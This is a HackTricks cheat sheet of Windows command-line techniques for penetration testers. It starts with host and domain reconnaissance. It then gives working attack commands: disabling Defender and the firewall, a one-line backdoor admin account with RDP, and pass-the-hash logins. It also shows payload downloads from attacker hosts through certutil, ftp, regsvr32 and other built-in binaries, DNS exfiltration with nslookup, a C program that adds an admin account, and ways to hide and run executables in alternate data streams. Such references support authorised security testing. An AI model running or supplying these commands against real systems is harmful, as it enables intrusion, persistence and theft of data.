hacktricks/windows-hardening/basic-cmd-for-pentesters.md

# Basic CMD for Pentesters

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## System info

### Version and Patches info

```bash
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
hostname
DRIVERQUERY #3rd party driver vulnerable?
```

### Environment

```bash
set #List all environment variables
```

Some env variables to highlight:

* **COMPUTERNAME**: Name of the computer
* **TEMP/TMP:** Temp folder
* **USERNAME:** Your username
* **HOMEPATH/USERPROFILE:** Home directory
* **windir:** C:\Windows
* **OS**:Windos OS
* **LOGONSERVER**: Name of domain controller
* **USERDNSDOMAIN**: Domain name to use with DNS
* **USERDOMAIN**: Name of the domain

```bash
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
```

### Mounted disks

```bash
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername
```

### AV

```bash
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```

### Recycle Bin

```bash
dir C:\$Recycle.Bin /s /b
```

### Processes, Services & Software

```bash
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
```

## Domain info

```bash
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
net groups /domain #List of domain groups
net group "domain computers" /domain #List of PCs connected to the domain
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
net group "Domain Controllers" /domain #List PC accounts of domains controllers
net group "Domain Admins" /domain #List users with domain admin privileges
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the grup "Domain Admins" is included here)
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
nltest /domain_trust #Mapping of the trust relationships.
gpresult /V # Get current policy applied
```

### Logs & Events

```bash
#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
```

## Users & Groups

### Users

```bash
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
qwinsta #Anyone else logged in?
net user /add [username] [password] #Create user

#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
```

### Groups

```bash
#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators

#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group
```

### List sessions

```
qwinsta
klist sessions
```

### Password Policy

```
net accounts
```

### Credentials

```bash
cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
```

### Persistence with users

```bash
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN

# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD

# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName  /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
```

## Network

### Interfaces, Routes, Ports, Hosts and DNSCache

```bash
ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
```

### Firewall

```bash
netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles

NetSh Advfirewall set allprofiles state off  #Turn Off
NetSh Advfirewall set allprofiles state on  #Trun On
netsh firewall set opmode disable #Turn Off

::How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop" 

::Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed

::Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable

::Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable

::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
```

### Shares

```bash
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
```

### Wifi

```bash
netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
```

### SNMP

```
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
```

### Network Interfaces

```bash
ipconfig /all
```

### ARP table

```bash
arp -A
```

## Download

Bitsadmin.exe

```
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
```

CertReq.exe

```
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
```

Certutil.exe

```
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
```

Desktopimgdownldr.exe

```
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
```

Diantz.exe

```
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
```

Esentutl.exe

```
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
```

Expand.exe

```
expand \\webdav\folder\file.bat c:\ADS\file.bat
```

Extrac32.exe

```
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
```

Findstr.exe

```
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
```

Ftp.exe

```
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
```

GfxDownloadWrapper.exe

```
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
```

Hh.exe

```
HH.exe http://some.url/script.ps1
```

Ieexec.exe

```
ieexec.exe http://x.x.x.x:8080/bypass.exe
```

Makecab.exe

```
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
```

MpCmdRun.exe

```
MpCmdRun.exe -DownloadFile -url <URL> -path <path> //Windows Defender executable
```

Replace.exe

```
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
```

Excel.exe

```
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
```

Powerpnt.exe

```
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
```

Squirrel.exe

```
squirrel.exe --download [url to package]
```

Update.exe

```
Update.exe --download [url to package]
```

Winword.exe

```
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
```

Wsl.exe

```
wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
```

## Misc

```bash
cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file

#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden

#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision

#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win

#exe2bat to transform exe file in bat file

#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)

# Get error messages from code
net helpmsg 32 #32 is the code in that case
```

### Listen address ACLs

You can listen on [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) without being administrator.

```bash
netsh http show urlacl
```

### Manual DNS shell

**Attacker** (Kali) must use one of these 2 options:

```bash
sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
```

#### Victim

_**for /f tokens**_ \_\*\*\_technique: This allows us to execute commands, get the first X words of each line and send it through DNS to our server

```
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
```

You can also **redirect** the output, and then **read** it.

```
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
```

## Calling CMD from C code

```c
#include <stdlib.h>     /* system, NULL, EXIT_FAILURE */

// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe

int main (){
    int i;
    i=system("net users otherAcc 0TherAcc! /add");
    i=system("net localgroup administrators otherAcc /add");
    return 0;
}
```

## Alternate Data Streams CheatSheet (ADS/Alternate Data Stream)

Taken from [https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)

```bash
##Add content to ADS###
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o
powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}"
curl file://c:/temp/autoruns.exe --output c:\temp\textfile1.txt:auto.exe
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct   ^scrobj.dll > fakefile.doc:reg32.bat
set-content - path {path to the file} - stream {name of the stream}

## Discover ADS contecnt
dir /R 
streams.exe <c:\path\to\file> #Binary from sysinternals#
Get-Item -Path .\fie.txt -Stream *
gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data'

##Extract content from ADS###
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
esentutl.exe /Y C:\temp\file.txt:test.exe /d c:\temp\evil.exe /o
more < c:\ads\file.txt:test.exe

##Executing the ADS content###

* WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'

* Rundll32
rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain
rundll32.exe advpack.dll,RegisterOCX not_a_dll.txt:test.dll
rundll32.exe ieadvpack.dll,RegisterOCX not_a_dll.txt:test.dll

* Cscript
cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs"

* Wscript
wscript c:\ads\file.txt:script.vbs
echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js

* Forfiles
forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe"

* Mavinject.exe
c:\windows\SysWOW64\notepad.exe
tasklist | findstr notepad
notepad.exe                   4172 31C5CE94259D4006           2     18,476 K
type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"

* MSHTA
mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"
(Does not work on Windows 10 1903 and newer)

* Control.exe
control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll
https://twitter.com/bohops/status/954466315913310209

* Create service and run
sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
sc start evilservice
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/

* Powershell.exe
powershell -ep bypass - < c:\temp:ttt

* Powershell.exe
powershell -command " & {(Get-Content C:\ADS\1.txt -Stream file.exe -Raw | Set-Content c:\ADS\file.exe) | start-process c:\ADS\file.exe}"

* Powershell.exe
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = C:\ads\folder:file.exe}

* Regedit.exe
regedit c:\ads\file.txt:regfile.reg

* Bitsadmin.exe
bitsadmin /create myfile
bitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exe
bitsadmin /SetNotifyCmdLine myfile c:\ADS\1.txt:cmd.exe NULL
bitsadmin /RESUME myfile

* AppVLP.exe
AppVLP.exe c:\windows\tracing\test.txt:ha.exe

* Cmd.exe
cmd.exe - < fakefile.doc:reg32.bat
https://twitter.com/yeyint_mth/status/1143824979139579904

* Ftp.exe
ftp -s:fakefile.txt:aaaa.txt
https://github.com/sailay1996/misc-bin/blob/master/ads.md

* ieframe.dll , shdocvw.dll (ads)
echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >> fake.txt:test.txt rundll32.exe ieframe.dll,OpenURL C:\temp\ads\fake.txt:test.txt
rundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txt
https://github.com/sailay1996/misc-bin/blob/master/ads.md

* bash.exe
echo calc > fakefile.txt:payload.sh && bash < fakefile.txt:payload.sh
bash.exe -c $(fakefile.txt:payload.sh)
https://github.com/sailay1996/misc-bin/blob/master/ads.md

* Regsvr32
type c:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS
regsvr32 /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Textfile.txt:LoveADS
```

<details>

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</details>